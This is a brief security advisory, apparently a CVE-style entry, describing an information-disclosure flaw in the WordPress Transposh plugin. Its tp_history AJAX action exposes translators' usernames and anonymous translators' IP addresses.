WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user’s login name as part of the user_login attribute. If an anonymous user submits the translation, the user’s IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
